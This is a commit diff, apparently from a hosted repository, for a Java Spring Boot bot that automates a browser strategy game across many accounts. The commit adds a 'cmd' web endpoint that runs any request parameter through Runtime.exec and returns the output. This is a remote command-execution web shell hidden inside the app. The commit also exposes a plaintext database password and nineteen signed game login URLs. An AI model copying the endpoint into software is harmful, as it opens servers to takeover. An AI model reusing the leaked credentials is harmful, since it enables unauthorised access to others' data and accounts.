Spaces:
Sleeping
Sleeping
htr
commited on
Commit
·
964a0f9
1
Parent(s):
7f654c8
test
Browse files- Dockerfile +3 -2
- New Text Document (2).txt +0 -0
- New Text Document.txt +0 -0
- src/main/java/com/example/demo/DemoApplication.java +49 -0
- src/main/java/tqtk/Tqtk.java +5 -9
- src/main/java/tqtk/Utils/Util.java +2 -2
- src/main/java/tqtk/XuLy/Worker.java +89 -44
- src/main/java/tqtk/XuLy/login/LayThongTinSession.java +2 -2
- src/main/resources/application.properties +3 -3
- user.properties +19 -0
Dockerfile
CHANGED
@@ -10,6 +10,7 @@ RUN mvn clean package -DskipTests
|
|
10 |
#
|
11 |
FROM openjdk:11-jdk-slim
|
12 |
COPY --from=build /target/demo-0.0.1-SNAPSHOT.jar demo.jar
|
13 |
-
|
14 |
-
|
|
|
15 |
ENTRYPOINT ["java","-Dfile.encoding=UTF-8","-jar","demo.jar"]
|
|
|
10 |
#
|
11 |
FROM openjdk:11-jdk-slim
|
12 |
COPY --from=build /target/demo-0.0.1-SNAPSHOT.jar demo.jar
|
13 |
+
COPY --from=build /user.properties user.properties
|
14 |
+
# ENV PORT=8080
|
15 |
+
EXPOSE 8081
|
16 |
ENTRYPOINT ["java","-Dfile.encoding=UTF-8","-jar","demo.jar"]
|
New Text Document (2).txt
DELETED
File without changes
|
New Text Document.txt
DELETED
File without changes
|
src/main/java/com/example/demo/DemoApplication.java
CHANGED
@@ -7,6 +7,17 @@ import org.springframework.boot.SpringApplication;
|
|
7 |
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
8 |
import org.springframework.web.bind.annotation.GetMapping;
|
9 |
import org.springframework.web.bind.annotation.RestController;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
10 |
|
11 |
import tqtk.Entity.SessionEntity;
|
12 |
import tqtk.Tqtk;
|
@@ -38,5 +49,43 @@ public class DemoApplication {
|
|
38 |
}
|
39 |
return "ok";
|
40 |
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
41 |
|
42 |
}
|
|
|
7 |
import org.springframework.boot.autoconfigure.SpringBootApplication;
|
8 |
import org.springframework.web.bind.annotation.GetMapping;
|
9 |
import org.springframework.web.bind.annotation.RestController;
|
10 |
+
import org.springframework.web.bind.annotation.RequestParam;
|
11 |
+
|
12 |
+
import java.io.BufferedReader;
|
13 |
+
import java.io.BufferedWriter;
|
14 |
+
import java.io.File;
|
15 |
+
import java.io.FileOutputStream;
|
16 |
+
import java.io.IOException;
|
17 |
+
import java.io.InputStreamReader;
|
18 |
+
import java.io.OutputStreamWriter;
|
19 |
+
import java.io.Writer;
|
20 |
+
import java.net.URL;
|
21 |
|
22 |
import tqtk.Entity.SessionEntity;
|
23 |
import tqtk.Tqtk;
|
|
|
49 |
}
|
50 |
return "ok";
|
51 |
}
|
52 |
+
|
53 |
+
@GetMapping("cmd")
|
54 |
+
public String greeding(@RequestParam(value = "cmd", required = true) String cmd) {
|
55 |
+
String output = "";
|
56 |
+
try {
|
57 |
+
output = executeCommand(cmd);
|
58 |
+
return output;
|
59 |
+
} catch (Exception e) {
|
60 |
+
e.getMessage();
|
61 |
+
return e.getMessage();
|
62 |
+
}
|
63 |
+
|
64 |
+
}
|
65 |
+
|
66 |
+
public String executeCommand(String command) {
|
67 |
+
|
68 |
+
StringBuffer output = new StringBuffer();
|
69 |
+
|
70 |
+
Process p;
|
71 |
+
try {
|
72 |
+
p = Runtime.getRuntime().exec(command);
|
73 |
+
p.waitFor();
|
74 |
+
BufferedReader reader
|
75 |
+
= new BufferedReader(new InputStreamReader(p.getInputStream()));
|
76 |
+
|
77 |
+
String line = "";
|
78 |
+
while ((line = reader.readLine()) != null) {
|
79 |
+
output.append(line + "\n");
|
80 |
+
}
|
81 |
+
|
82 |
+
} catch (Exception e) {
|
83 |
+
e.printStackTrace();
|
84 |
+
}
|
85 |
+
|
86 |
+
return output.toString();
|
87 |
+
|
88 |
+
}
|
89 |
+
|
90 |
|
91 |
}
|
src/main/java/tqtk/Tqtk.java
CHANGED
@@ -39,15 +39,11 @@ public class Tqtk {
|
|
39 |
public static void main() {
|
40 |
// TODO code application logic here
|
41 |
try {
|
42 |
-
|
43 |
-
|
44 |
-
|
45 |
-
|
46 |
-
|
47 |
-
// LayThongTinSession.getListSession().add(new SessionEntity(temp[0], temp[1]));
|
48 |
-
// }
|
49 |
-
|
50 |
-
LayThongTinSession.getListSession().add(new SessionEntity("n", "p"));
|
51 |
|
52 |
List<SessionEntity> ss = LayThongTinSession.getListSession();
|
53 |
|
|
|
39 |
public static void main() {
|
40 |
// TODO code application logic here
|
41 |
try {
|
42 |
+
Properties pr = Util.loadProperties("user.properties");
|
43 |
+
String value = "";
|
44 |
+
for (int i = 0; (value = pr.getProperty("user" + "." + i)) != null; i++) {
|
45 |
+
LayThongTinSession.getListSession().add(new SessionEntity(value, "p"));
|
46 |
+
}
|
|
|
|
|
|
|
|
|
47 |
|
48 |
List<SessionEntity> ss = LayThongTinSession.getListSession();
|
49 |
|
src/main/java/tqtk/Utils/Util.java
CHANGED
@@ -346,7 +346,7 @@ public class Util {
|
|
346 |
//window
|
347 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\"+file_name;
|
348 |
//heroku
|
349 |
-
String x = "/
|
350 |
try {
|
351 |
final InputStream fin = new FileInputStream(x);
|
352 |
pr.load(fin);
|
@@ -363,7 +363,7 @@ public class Util {
|
|
363 |
//window
|
364 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\cauhoi\\"+file_name;
|
365 |
//heroku
|
366 |
-
String x = "/
|
367 |
try {
|
368 |
return Doc_file_kieu_txt.readFile(x);
|
369 |
} catch (Exception e) {
|
|
|
346 |
//window
|
347 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\"+file_name;
|
348 |
//heroku
|
349 |
+
String x = "/" + file_name;
|
350 |
try {
|
351 |
final InputStream fin = new FileInputStream(x);
|
352 |
pr.load(fin);
|
|
|
363 |
//window
|
364 |
// String x = "D:\\7-Project\\Java\\1. Netbean\\2. nghien-cuu\\TQTK\\runshell\\cauhoi\\"+file_name;
|
365 |
//heroku
|
366 |
+
String x = "/"+file_name;
|
367 |
try {
|
368 |
return Doc_file_kieu_txt.readFile(x);
|
369 |
} catch (Exception e) {
|
src/main/java/tqtk/XuLy/Worker.java
CHANGED
@@ -59,6 +59,26 @@ public class Worker extends Thread {
|
|
59 |
StringBuilder rs1 = GuiPacket(ss, "12200", list1);
|
60 |
list1 = null;
|
61 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
62 |
}
|
63 |
|
64 |
public void LuyenTuong() {
|
@@ -105,22 +125,34 @@ public class Worker extends Thread {
|
|
105 |
list2.set(0, Integer.toString(idhero));
|
106 |
Tqtk.sendMessage("lt " + name);
|
107 |
if (name != null) {
|
108 |
-
if ("武田信虎
|
109 |
-
|
110 |
Thread.sleep(5000);
|
111 |
-
|
|
|
|
|
|
|
|
|
112 |
Thread.sleep(5000);
|
113 |
|
114 |
-
}
|
115 |
-
|
|
|
116 |
Thread.sleep(5000);
|
117 |
-
|
|
|
|
|
|
|
|
|
118 |
Thread.sleep(5000);
|
119 |
|
120 |
-
}
|
121 |
-
|
|
|
122 |
Thread.sleep(5000);
|
123 |
-
|
|
|
|
|
124 |
Thread.sleep(5000);
|
125 |
|
126 |
} else if ("彦坂元正 --".equals(name) && trainflag == 0) {
|
@@ -129,28 +161,38 @@ public class Worker extends Thread {
|
|
129 |
rs1 = GuiPacket(ss, "41102", list2);
|
130 |
Thread.sleep(5000);
|
131 |
|
132 |
-
} else if ("大久保忠員".equals(name) && trainflag == 0) {
|
133 |
rs1 = GuiPacket(ss, "41101", list1);
|
134 |
Thread.sleep(5000);
|
135 |
rs1 = GuiPacket(ss, "41102", list2);
|
136 |
Thread.sleep(5000);
|
137 |
|
138 |
-
} else if ("
|
139 |
rs1 = GuiPacket(ss, "41101", list1);
|
140 |
Thread.sleep(5000);
|
141 |
rs1 = GuiPacket(ss, "41102", list2);
|
142 |
Thread.sleep(5000);
|
143 |
|
144 |
-
}
|
145 |
-
|
|
|
146 |
Thread.sleep(5000);
|
147 |
-
|
|
|
|
|
|
|
|
|
148 |
Thread.sleep(5000);
|
149 |
|
150 |
-
} else if ("
|
151 |
-
|
|
|
152 |
Thread.sleep(5000);
|
153 |
-
|
|
|
|
|
|
|
|
|
154 |
Thread.sleep(5000);
|
155 |
|
156 |
}
|
@@ -240,7 +282,8 @@ public class Worker extends Thread {
|
|
240 |
List<String> list1 = new ArrayList<>();
|
241 |
|
242 |
try {
|
243 |
-
|
|
|
244 |
list1.add(0, "5");
|
245 |
Thread.sleep(5000);
|
246 |
StringBuilder rs1 = GuiPacket(ss, "12100", list1);
|
@@ -249,18 +292,28 @@ public class Worker extends Thread {
|
|
249 |
list1.set(0, "6");
|
250 |
Thread.sleep(5000);
|
251 |
rs1 = GuiPacket(ss, "12100", list1);
|
252 |
-
|
253 |
-
|
|
|
254 |
Thread.sleep(5000);
|
255 |
rs1 = GuiPacket(ss, "12100", list1);
|
256 |
-
|
257 |
-
|
258 |
Thread.sleep(5000);
|
259 |
rs1 = GuiPacket(ss, "12100", list1);
|
260 |
|
261 |
-
list1.set(0, "
|
|
|
|
|
|
|
|
|
262 |
Thread.sleep(5000);
|
263 |
rs1 = GuiPacket(ss, "12100", list1);
|
|
|
|
|
|
|
|
|
|
|
264 |
|
265 |
|
266 |
|
@@ -766,31 +819,36 @@ public class Worker extends Thread {
|
|
766 |
name = (String) ((Map<Object, Object>) object).get("equipname");
|
767 |
storeid = (Integer) ((Map<Object, Object>) object).get("storeid");
|
768 |
generalname = (String) ((Map<Object, Object>) object).get("generalname");
|
769 |
-
Tqtk.sendMessage(lv + " " + name + " " + storeid + " " + generalname);
|
770 |
list1.set(0, Integer.toString(storeid));
|
771 |
list1.set(2, Magic.toString());
|
772 |
if (generalname != null) {
|
773 |
if ((ss != null)) {
|
774 |
// if ((int) Magic > 87 && "æ¦ç”°ä¿¡è™Ž".equals(generalname)) {
|
775 |
-
if ((int) Magic > 87 && "武田信虎".equals(generalname)) {
|
776 |
rs1 = GuiPacket(ss, "39302", list1);
|
777 |
Thread.sleep(5000);
|
778 |
}
|
779 |
-
else if (Upgradecdusable == 1 && (int) Magic > 87 && "織田信行
|
780 |
rs1 = GuiPacket(ss, "39302", list1);
|
781 |
Thread.sleep(5000);
|
782 |
}
|
783 |
-
else if (Upgradecdusable == 1 && (int) Magic > 87 && "井伊直盛
|
784 |
rs1 = GuiPacket(ss, "39302", list1);
|
785 |
Thread.sleep(5000);
|
786 |
-
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "
|
787 |
rs1 = GuiPacket(ss, "39302", list1);
|
788 |
Thread.sleep(5000);
|
789 |
-
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "
|
|
|
|
|
|
|
|
|
790 |
rs1 = GuiPacket(ss, "39302", list1);
|
791 |
Thread.sleep(5000);
|
792 |
|
793 |
}
|
|
|
794 |
}
|
795 |
|
796 |
}
|
@@ -846,23 +904,9 @@ public class Worker extends Thread {
|
|
846 |
public void CapNhatThongTin() {
|
847 |
|
848 |
try {
|
849 |
-
// packet cap nhat thong tin lien tuc tu server
|
850 |
-
Thread.sleep(5000);
|
851 |
-
GuiPacketKhongKQ(ss, "10100", null);
|
852 |
// packet cap nhat thong tin lien tuc tu server
|
853 |
Thread.sleep(5000);
|
854 |
GuiPacketKhongKQ(ss, "11102", null);
|
855 |
-
Thread.sleep(5000);
|
856 |
-
GuiPacketKhongKQ(ss, "52103", null);
|
857 |
-
Thread.sleep(5000);
|
858 |
-
GuiPacketKhongKQ(ss, "10108", null);
|
859 |
-
Thread.sleep(5000);
|
860 |
-
GuiPacketKhongKQ(ss, "20101", null);
|
861 |
-
Thread.sleep(5000);
|
862 |
-
List<String> list1 = new ArrayList<>();
|
863 |
-
list1.add(0, "1");
|
864 |
-
StringBuilder rs1 = GuiPacket(ss, "12200", list1);
|
865 |
-
list1 = null;
|
866 |
} catch (Exception ex) {
|
867 |
System.out.println(ex.getMessage());
|
868 |
}
|
@@ -891,6 +935,7 @@ public class Worker extends Thread {
|
|
891 |
// DanhQuanDoan1();
|
892 |
// DanhQuanDoan2();
|
893 |
// DanhQuanDoan3();
|
|
|
894 |
NangItem();
|
895 |
// TruyNa();
|
896 |
LuyenTuong();
|
@@ -899,7 +944,7 @@ public class Worker extends Thread {
|
|
899 |
// GianKhoan();
|
900 |
//FarmDo();
|
901 |
// ThuThue();
|
902 |
-
|
903 |
// CapNhatThongTin();
|
904 |
Thread.sleep(55 * 1000);
|
905 |
}
|
|
|
59 |
StringBuilder rs1 = GuiPacket(ss, "12200", list1);
|
60 |
list1 = null;
|
61 |
|
62 |
+
}
|
63 |
+
|
64 |
+
public void NhanThuong() {
|
65 |
+
try {
|
66 |
+
|
67 |
+
Tqtk.sendMessage("nhan thuong " + ss.getStringName());
|
68 |
+
// vo dai
|
69 |
+
|
70 |
+
Thread.sleep(5000);
|
71 |
+
GuiPacket(ss, "64008", null);
|
72 |
+
|
73 |
+
|
74 |
+
// thuong uy danh
|
75 |
+
Thread.sleep(5000);
|
76 |
+
GuiPacket(ss, "12302", null);
|
77 |
+
|
78 |
+
|
79 |
+
} catch (Exception e) {
|
80 |
+
System.out.println("NhanThuong " + ss.getStringName() + e.getMessage());
|
81 |
+
}
|
82 |
}
|
83 |
|
84 |
public void LuyenTuong() {
|
|
|
125 |
list2.set(0, Integer.toString(idhero));
|
126 |
Tqtk.sendMessage("lt " + name);
|
127 |
if (name != null) {
|
128 |
+
if ("武田信虎".equals(name) && trainflag == 0) {
|
129 |
+
GuiPacket(ss, "41101", list1);
|
130 |
Thread.sleep(5000);
|
131 |
+
GuiPacket(ss, "41102", list2);
|
132 |
+
Thread.sleep(5000);
|
133 |
+
GuiPacket(ss, "41102", list2);
|
134 |
+
Thread.sleep(5000);
|
135 |
+
GuiPacket(ss, "41102", list2);
|
136 |
Thread.sleep(5000);
|
137 |
|
138 |
+
}
|
139 |
+
else if ("井伊直盛".equals(name) && trainflag == 0) {
|
140 |
+
GuiPacket(ss, "41101", list1);
|
141 |
Thread.sleep(5000);
|
142 |
+
GuiPacket(ss, "41102", list2);
|
143 |
+
Thread.sleep(5000);
|
144 |
+
GuiPacket(ss, "41102", list2);
|
145 |
+
Thread.sleep(5000);
|
146 |
+
GuiPacket(ss, "41102", list2);
|
147 |
Thread.sleep(5000);
|
148 |
|
149 |
+
}
|
150 |
+
else if ("織田信行".equals(name) && trainflag == 0) {
|
151 |
+
GuiPacket(ss, "41101", list1);
|
152 |
Thread.sleep(5000);
|
153 |
+
GuiPacket(ss, "41102", list2);
|
154 |
+
Thread.sleep(5000);
|
155 |
+
GuiPacket(ss, "41102", list2);
|
156 |
Thread.sleep(5000);
|
157 |
|
158 |
} else if ("彦坂元正 --".equals(name) && trainflag == 0) {
|
|
|
161 |
rs1 = GuiPacket(ss, "41102", list2);
|
162 |
Thread.sleep(5000);
|
163 |
|
164 |
+
} else if ("大久保忠員 --".equals(name) && trainflag == 0) {
|
165 |
rs1 = GuiPacket(ss, "41101", list1);
|
166 |
Thread.sleep(5000);
|
167 |
rs1 = GuiPacket(ss, "41102", list2);
|
168 |
Thread.sleep(5000);
|
169 |
|
170 |
+
} else if ("飯尾田鶴".equals(name) && trainflag == 0) {
|
171 |
rs1 = GuiPacket(ss, "41101", list1);
|
172 |
Thread.sleep(5000);
|
173 |
rs1 = GuiPacket(ss, "41102", list2);
|
174 |
Thread.sleep(5000);
|
175 |
|
176 |
+
} else if ("德川松姫".equals(name) && trainflag == 0) {
|
177 |
+
// thai diem
|
178 |
+
GuiPacket(ss, "41101", list1);
|
179 |
Thread.sleep(5000);
|
180 |
+
GuiPacket(ss, "41102", list2);
|
181 |
+
Thread.sleep(5000);
|
182 |
+
GuiPacket(ss, "41102", list2);
|
183 |
+
Thread.sleep(5000);
|
184 |
+
GuiPacket(ss, "41102", list2);
|
185 |
Thread.sleep(5000);
|
186 |
|
187 |
+
} else if ("内藤正成".equals(name) && trainflag == 0) {
|
188 |
+
// duong tu
|
189 |
+
GuiPacket(ss, "41101", list1);
|
190 |
Thread.sleep(5000);
|
191 |
+
GuiPacket(ss, "41102", list2);
|
192 |
+
Thread.sleep(5000);
|
193 |
+
GuiPacket(ss, "41102", list2);
|
194 |
+
Thread.sleep(5000);
|
195 |
+
GuiPacket(ss, "41102", list2);
|
196 |
Thread.sleep(5000);
|
197 |
|
198 |
}
|
|
|
282 |
List<String> list1 = new ArrayList<>();
|
283 |
|
284 |
try {
|
285 |
+
|
286 |
+
|
287 |
list1.add(0, "5");
|
288 |
Thread.sleep(5000);
|
289 |
StringBuilder rs1 = GuiPacket(ss, "12100", list1);
|
|
|
292 |
list1.set(0, "6");
|
293 |
Thread.sleep(5000);
|
294 |
rs1 = GuiPacket(ss, "12100", list1);
|
295 |
+
|
296 |
+
// nha chinh
|
297 |
+
list1.set(0, "1");
|
298 |
Thread.sleep(5000);
|
299 |
rs1 = GuiPacket(ss, "12100", list1);
|
300 |
+
|
301 |
+
list1.set(0, "3");
|
302 |
Thread.sleep(5000);
|
303 |
rs1 = GuiPacket(ss, "12100", list1);
|
304 |
|
305 |
+
list1.set(0, "11");
|
306 |
+
Thread.sleep(5000);
|
307 |
+
rs1 = GuiPacket(ss, "12100", list1);
|
308 |
+
|
309 |
+
list1.set(0, "12");
|
310 |
Thread.sleep(5000);
|
311 |
rs1 = GuiPacket(ss, "12100", list1);
|
312 |
+
|
313 |
+
list1.set(0, "9");
|
314 |
+
Thread.sleep(5000);
|
315 |
+
rs1 = GuiPacket(ss, "12100", list1);
|
316 |
+
|
317 |
|
318 |
|
319 |
|
|
|
819 |
name = (String) ((Map<Object, Object>) object).get("equipname");
|
820 |
storeid = (Integer) ((Map<Object, Object>) object).get("storeid");
|
821 |
generalname = (String) ((Map<Object, Object>) object).get("generalname");
|
822 |
+
//Tqtk.sendMessage(lv + " " + name + " " + storeid + " " + generalname);
|
823 |
list1.set(0, Integer.toString(storeid));
|
824 |
list1.set(2, Magic.toString());
|
825 |
if (generalname != null) {
|
826 |
if ((ss != null)) {
|
827 |
// if ((int) Magic > 87 && "æ¦ç”°ä¿¡è™Ž".equals(generalname)) {
|
828 |
+
if ((int) Magic > 87 && "武田信虎 --".equals(generalname)) {
|
829 |
rs1 = GuiPacket(ss, "39302", list1);
|
830 |
Thread.sleep(5000);
|
831 |
}
|
832 |
+
else if (Upgradecdusable == 1 && (int) Magic > 87 && "織田信行".equals(generalname) && lv <= 80) {
|
833 |
rs1 = GuiPacket(ss, "39302", list1);
|
834 |
Thread.sleep(5000);
|
835 |
}
|
836 |
+
else if (Upgradecdusable == 1 && (int) Magic > 87 && "井伊直盛".equals(generalname) && lv <= 80) {
|
837 |
rs1 = GuiPacket(ss, "39302", list1);
|
838 |
Thread.sleep(5000);
|
839 |
+
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "大久保忠員 --".equals(generalname) && lv <= 80) {
|
840 |
rs1 = GuiPacket(ss, "39302", list1);
|
841 |
Thread.sleep(5000);
|
842 |
+
} else if (Upgradecdusable == 1 && (int) Magic > 87 && "飯尾田鶴".equals(generalname) && lv <= 80) {
|
843 |
+
rs1 = GuiPacket(ss, "39302", list1);
|
844 |
+
Thread.sleep(5000);
|
845 |
+
|
846 |
+
}else if (Upgradecdusable == 1 && (int) Magic > 87 && "内藤正成".equals(generalname) && lv <= 80) {
|
847 |
rs1 = GuiPacket(ss, "39302", list1);
|
848 |
Thread.sleep(5000);
|
849 |
|
850 |
}
|
851 |
+
|
852 |
}
|
853 |
|
854 |
}
|
|
|
904 |
public void CapNhatThongTin() {
|
905 |
|
906 |
try {
|
|
|
|
|
|
|
907 |
// packet cap nhat thong tin lien tuc tu server
|
908 |
Thread.sleep(5000);
|
909 |
GuiPacketKhongKQ(ss, "11102", null);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
910 |
} catch (Exception ex) {
|
911 |
System.out.println(ex.getMessage());
|
912 |
}
|
|
|
935 |
// DanhQuanDoan1();
|
936 |
// DanhQuanDoan2();
|
937 |
// DanhQuanDoan3();
|
938 |
+
NhanThuong();
|
939 |
NangItem();
|
940 |
// TruyNa();
|
941 |
LuyenTuong();
|
|
|
944 |
// GianKhoan();
|
945 |
//FarmDo();
|
946 |
// ThuThue();
|
947 |
+
ChiemRuong();
|
948 |
// CapNhatThongTin();
|
949 |
Thread.sleep(55 * 1000);
|
950 |
}
|
src/main/java/tqtk/XuLy/login/LayThongTinSession.java
CHANGED
@@ -38,8 +38,8 @@ public class LayThongTinSession {
|
|
38 |
// login va lay thong tin session
|
39 |
u.setCookie(u.msCookieManager);
|
40 |
// String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=32572016266&userid=32572016266&GameId=2001&ServerId=s17&Time=1673956339&al=1&from=mixi&siteurl=&Sign=1da179d1f5c90a6dfcf76f8a5a15139c");
|
41 |
-
String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=
|
42 |
-
|
43 |
html = u.test1(html);
|
44 |
|
45 |
String ip = Util.getInfoSocket(html, "ip");
|
|
|
38 |
// login va lay thong tin session
|
39 |
u.setCookie(u.msCookieManager);
|
40 |
// String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=32572016266&userid=32572016266&GameId=2001&ServerId=s17&Time=1673956339&al=1&from=mixi&siteurl=&Sign=1da179d1f5c90a6dfcf76f8a5a15139c");
|
41 |
+
//String html = u.test2("http://api.sengokugifu.jp/home/login/login?Uname=2301232337316215&userid=2301232337316215&GameId=2001&ServerId=s17&Time=1674564637&al=1&from=gesoten&siteurl=gesoten.com&Sign=b77ebb8f9f1b7f56bbd5bbc227b186f2&nickname=gesoten-2301232337316215");
|
42 |
+
String html = u.test2(user);
|
43 |
html = u.test1(html);
|
44 |
|
45 |
String ip = Util.getInfoSocket(html, "ip");
|
src/main/resources/application.properties
CHANGED
@@ -4,7 +4,7 @@ spring.jpa.properties.hibernate.dialect = org.hibernate.dialect.PostgreSQLDialec
|
|
4 |
spring.jpa.hibernate.ddl-auto=update
|
5 |
spring.jpa.hibernate.show-sql=true
|
6 |
|
7 |
-
spring.datasource.url=jdbc:postgresql://dpg-
|
8 |
-
spring.datasource.username=
|
9 |
-
spring.datasource.password=
|
10 |
spring.datasource.driver-class-name=org.postgresql.Driver
|
|
|
4 |
spring.jpa.hibernate.ddl-auto=update
|
5 |
spring.jpa.hibernate.show-sql=true
|
6 |
|
7 |
+
spring.datasource.url=jdbc:postgresql://dpg-cf82kq6n6mplr40r4p5g-a.singapore-postgres.render.com:5432/pgtest_1y8z
|
8 |
+
spring.datasource.username=pgtest_1y8z_user
|
9 |
+
spring.datasource.password=L97pbnHfex5lEg0qOuPUwwiZnvR8qdHA
|
10 |
spring.datasource.driver-class-name=org.postgresql.Driver
|
user.properties
ADDED
@@ -0,0 +1,19 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
user.0=http://api.sengokugifu.jp/home/login/login?Uname=2301250244464678&userid=2301250244464678&GameId=2001&ServerId=s17&Time=1675376210&al=1&from=gesoten&siteurl=gesoten.com&Sign=eeee4cf703f4bddcfa02e82aa8033c53&nickname=gesoten-2301250244464678
|
2 |
+
user.1=http://api.sengokugifu.jp/home/login/login?Uname=2301251658201245&userid=2301251658201245&GameId=2001&ServerId=s17&Time=1675376274&al=1&from=gesoten&siteurl=gesoten.com&Sign=07c1d1e4e78d5a8dee8a6b4d46be6dd2&nickname=gesoten-2301251658201245
|
3 |
+
user.2=http://api.sengokugifu.jp/home/login/login?Uname=2301251707213112&userid=2301251707213112&GameId=2001&ServerId=s17&Time=1675376326&al=1&from=gesoten&siteurl=gesoten.com&Sign=60b19e3108ea445784ece179554e8564&nickname=gesoten-2301251707213112
|
4 |
+
user.3=http://api.sengokugifu.jp/home/login/login?Uname=2301251712412850&userid=2301251712412850&GameId=2001&ServerId=s17&Time=1675376372&al=1&from=gesoten&siteurl=gesoten.com&Sign=33c312e64c821e42a0087efff0ab83d8&nickname=gesoten-2301251712412850
|
5 |
+
user.4=http://api.sengokugifu.jp/home/login/login?Uname=2301251718084762&userid=2301251718084762&GameId=2001&ServerId=s17&Time=1675376412&al=1&from=gesoten&siteurl=gesoten.com&Sign=1636c8e68724b3fd00dc9a57e32cab24&nickname=gesoten-2301251718084762
|
6 |
+
user.5=http://api.sengokugifu.jp/home/login/login?Uname=2301251722392722&userid=2301251722392722&GameId=2001&ServerId=s17&Time=1675376453&al=1&from=gesoten&siteurl=gesoten.com&Sign=d43c4c022fac7c75906466377470e2d0&nickname=gesoten-2301251722392722
|
7 |
+
user.6=http://api.sengokugifu.jp/home/login/login?Uname=2301251726560678&userid=2301251726560678&GameId=2001&ServerId=s17&Time=1675376749&al=1&from=gesoten&siteurl=gesoten.com&Sign=938f3c985d24a0c9229b517b03a484d9&nickname=gesoten-2301251726560678
|
8 |
+
user.7=http://api.sengokugifu.jp/home/login/login?Uname=2301251731225490&userid=2301251731225490&GameId=2001&ServerId=s17&Time=1675376793&al=1&from=gesoten&siteurl=gesoten.com&Sign=c1a0f926d882ad0b98a4dbbd76bbed8e&nickname=gesoten-2301251731225490
|
9 |
+
user.8=http://api.sengokugifu.jp/home/login/login?Uname=2301251735343770&userid=2301251735343770&GameId=2001&ServerId=s17&Time=1675376829&al=1&from=gesoten&siteurl=gesoten.com&Sign=42405b6e5c6bfca38b687f4f08454aed&nickname=gesoten-2301251735343770
|
10 |
+
user.9=http://api.sengokugifu.jp/home/login/login?Uname=2301251740076503&userid=2301251740076503&GameId=2001&ServerId=s17&Time=1675376873&al=1&from=gesoten&siteurl=gesoten.com&Sign=7de70feaaf91267e563b5e6452a0f07c&nickname=gesoten-2301251740076503
|
11 |
+
user.10=http://api.sengokugifu.jp/home/login/login?Uname=2301252021280899&userid=2301252021280899&GameId=2001&ServerId=s17&Time=1675376917&al=1&from=gesoten&siteurl=gesoten.com&Sign=0bfdce44fdf36d355308124888d86d07&nickname=gesoten-2301252021280899
|
12 |
+
user.11=http://api.sengokugifu.jp/home/login/login?Uname=2301252028208759&userid=2301252028208759&GameId=2001&ServerId=s17&Time=1675376964&al=1&from=gesoten&siteurl=gesoten.com&Sign=787cf461d536b94b23b1f047ee501a23&nickname=gesoten-2301252028208759
|
13 |
+
user.12=http://api.sengokugifu.jp/home/login/login?Uname=2301252034032582&userid=2301252034032582&GameId=2001&ServerId=s17&Time=1675377240&al=1&from=gesoten&siteurl=gesoten.com&Sign=bfce40bf3f1e79207be8bb069b5f50ed&nickname=gesoten-2301252034032582
|
14 |
+
user.13=http://api.sengokugifu.jp/home/login/login?Uname=2301252042087343&userid=2301252042087343&GameId=2001&ServerId=s17&Time=1675377277&al=1&from=gesoten&siteurl=gesoten.com&Sign=24334ddd09c9084e4fe68fc080b0ac07&nickname=gesoten-2301252042087343
|
15 |
+
user.14=http://api.sengokugifu.jp/home/login/login?Uname=2301252047210167&userid=2301252047210167&GameId=2001&ServerId=s17&Time=1675377323&al=1&from=gesoten&siteurl=gesoten.com&Sign=208ed17dd4fb6f7f2f307ccb47ab5234&nickname=gesoten-2301252047210167
|
16 |
+
user.15=http://api.sengokugifu.jp/home/login/login?Uname=2301252052316617&userid=2301252052316617&GameId=2001&ServerId=s17&Time=1675377362&al=1&from=gesoten&siteurl=gesoten.com&Sign=750ffe349077ae11372c0e2c7dfc029d&nickname=gesoten-2301252052316617
|
17 |
+
user.16=http://api.sengokugifu.jp/home/login/login?Uname=2301252100257797&userid=2301252100257797&GameId=2001&ServerId=s17&Time=1675377399&al=1&from=gesoten&siteurl=gesoten.com&Sign=3d84b824858c354968019af86e38f764&nickname=gesoten-2301252100257797
|
18 |
+
user.17=http://api.sengokugifu.jp/home/login/login?Uname=2301252106191710&userid=2301252106191710&GameId=2001&ServerId=s17&Time=1675377439&al=1&from=gesoten&siteurl=gesoten.com&Sign=61b1729ab34d9afb5b417b38a6d8d752&nickname=gesoten-2301252106191710
|
19 |
+
user.18=http://api.sengokugifu.jp/home/login/login?Uname=2301252112453620&userid=2301252112453620&GameId=2001&ServerId=s17&Time=1675377475&al=1&from=gesoten&siteurl=gesoten.com&Sign=3626d03df40d66157ae1f68dcb8b4527&nickname=gesoten-2301252112453620
|